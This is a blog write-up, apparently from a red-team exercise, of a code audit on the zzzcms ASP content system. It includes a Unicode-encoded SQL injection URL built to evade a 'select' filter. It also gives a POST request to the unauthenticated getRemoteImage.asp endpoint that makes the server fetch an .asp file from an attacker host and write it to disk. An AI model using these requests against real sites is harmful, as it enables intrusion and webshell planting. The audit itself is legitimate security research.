记一次asp站点代码审计的利用

前言:某asp代码审计记录笔记

现在在酒店等国护开始,之前市hw的时候碰到的一个asp环境,因为相关的漏洞都是php版本的,而环境是asp,所以找了个源码进行审计下,这边做个记录

入口点

一个注入iis+asp,通过unicode编码配合注入发现select字符会被截断,导致无法进行利用

https://xxxxx.cn/web/xxxxx.mhtml?cid=1e2unio%u004e--xx selec%u0054~1,2,3,4,5,6

审计过程

当时目标站点前台环境是在/web下的,而后台环境是在/下的,所以我不知道它前台是如何写的,跟源码对应不上,所以我这里就着重来分析后台的代码

先看 admin\index.asp,这个代码下首先会先引入zzz_admin.asp文件

<!--#include file="../inc/zzz_admin.asp" -->
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="Cache-Control" content="no-siteapp" />
...
...
...
...

inc\zzz_admin.asp的鉴权代码,getsession不可控,所以只要引入的zzz_admin.asp的文件都不能利用

if getsession("adminid")="" then
if ifstrin(getNowPagePath(),adminpath) then
aspgo sitepath&adminpath&"login.asp?act=relog"
else
aspgo sitepath
end if
end if

我发现它zzz_Content中的代码全部都引入了鉴权模块zzz_admin.asp

这里还有两个相关的上传组件,分别是webuploader和ueditor,这里分别进行观察

这里的ueditor引用的是webuploader组件

因为这套zzzcms在安装的时候,默认会将当前的admin目录进行修改为admin+三位数字作为后台目录

这边的话发现的一个文件是webuploader下的一个文件,admin468/inc/webuploader/config.asp,直接访问的是可以看到对应的后台目录的,但是前提是需要知道后台目录,所以没有什么多大的用处

因为我当时的目标站点是被二次开发过的,空的话则代表默认根路径就是后台站点,实战环境下所以我这边/inc/webuploader/config.asp

这边发现webuploader的admin\inc\webuploader\getRemoteImage.asp没有对上传组件进行单独鉴权操作,如下图所示

http://192.168.4.149/admin468/inc/webuploader/getRemoteImage.asp
post:file=http://192.168.88.165:8080/en_moban.asp

回显如下,可以看到对应的文件名

可以看到已经写入了,如下图所示

posted @   zpchcbd  阅读(567)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY
点击右上角即可分享
微信分享提示